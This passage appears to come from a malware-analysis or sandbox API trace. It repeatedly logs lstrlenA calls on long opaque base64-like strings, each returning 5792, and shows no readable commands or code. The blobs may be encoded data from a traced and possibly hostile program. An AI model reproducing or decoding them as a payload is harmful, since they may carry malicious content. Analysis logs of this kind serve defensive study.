wwPk3Ae+LqU9c/oWvFanQlUdBI9eLTTk41hnE9xqq28lmXI0o/nTifKpE1MNsW3uWnVifpCDW2m918k/U3uwImLgOVej1Ftf4j9AL63U3NuGHouWyQ+DCfnWSOe/1/juG9sKaY7Qye/ZlCkNnoFSDrkyctOkb2HQqbYwDGCQy7a3gt4eBHAbL4ALV6zDYo3+EvO9aJbKAQ4664sJsNwkcmz9zOXaA+3pkiCcAhj05jQspQDEjHsckuN4hihLIVBUZDaGLZqeWA0L+Hx+lU7Sfxv6P6f562iRzArC23gqK4t1iH/NHJ4De9xzKDGtF1v+pQ/5gSC0i8ZwClUZ//tNnssnFK8CHZI+4/Tap87Edz35bMlMNFzmacQggLVE47byqrqT+sdfL2l1N768euDpVH2cEbbNHVVhiL8uZAXqxPtbnnRrYArmXFKOm7eEsFTk6nNSnHE1ph0LspESXwD9U+KbmYG7l99qogQ3tFuqkesD8D5TnhzU77C4za2TGouf4DOSbaquYUvb5qtknf2Q9DaElCWkyG6ACgr2RWl3pLEBXoIKUCaRCb/nJxdogXk37wYidcpiIGT15KjT842XIT35+oE1XokvAhk037GWkwGw4d0pq3t3O11fK2xpUc/VgNi60Qn5SYF9ujZPK5JkvOdyvpIdRRAprxkSnA+Odmv57I9Kj39HRPmA9ouzLNDFGfoGZ1hHz9FwyjZtLzff4SOlgmWHz2TPjSbVN00WEyK30qi0ebAG+TSHdSwNFvM8RZefoQ65COojYnE2Nozv62uvV5e3rDOj5/slVp8ReeM9PCM3LNw019Ck03GvYfmXy/uy0WumWZdCtq+P1ukXqe6Q80SYWrwok0tlD1LCa4OiAY5YTRtx2ZYVd9Kuc0ZTxfkPHz7Y4DrXwQs5lEQUFNa41FhJpqoOfqy53pIrQHp9qTOA7WnOrUD8H5YSjl4GEeMy2fj3v/ICtdTPpQGNmadt2oQfRxgsjbA4inPS7i87xSInEV8EQ52s/iq+Ow85RZqpcyvwy1NBIpFAmyKQ7+TTu+LM9jETQLYWUoE6FDJWF+px4WClJnGqB85kLCbj1XtwHPDO5GcqvHp+wK40DI5VZ6+hzDvByrK01d7EUP5VY8oosJ/TkpHpK+Sxo/5hvVrnAub2mhjjs7ufpdZEvt2tXxc3aZdv1eh2xG/vGGTtZFSo2ZjqzGHtsdGwRnI56q7JjA2umuFbxEH5KFQRTnzbyH2v9LlogA8JDBBhWmJz/VhOq/V93nAQNHrAEVbpqJwluA3jQmCZSkh62vkTkJFwgosqTLIpcfJBCJydLWitwsNBGc/SFX6XnUjcoHKywnFiPlALJzLJoTdyAcqrVq6SmmPve6u/EZnE7aCm1oQHAHUwKzfcuE0bAQrAab6CrnqUQyVufP9kN1FPiNNUpT9esfhCuiPbRQBx9H0o43CL8AgzgAJMNCxtF2zw2lDmZD0kUSoOC/Sj04RCmYGLw97wj7aiN96Efy1sEJK0+OrXL3XA6qO7j93nFn1RvvfYBuv0oays5IrpEsBZZ3c7n9N6KdFON7ZG4kj2BBR6wny4iUkuPLibK9UAmmX4a5cwx4aljwqR4AFQ==") returned 5792 [0163.813] lstrlenA (lpString="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") returned 5792 [0163.813] lstrlenA (lpString="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") returned 5792 [0163.813] lstrlenA (lpString="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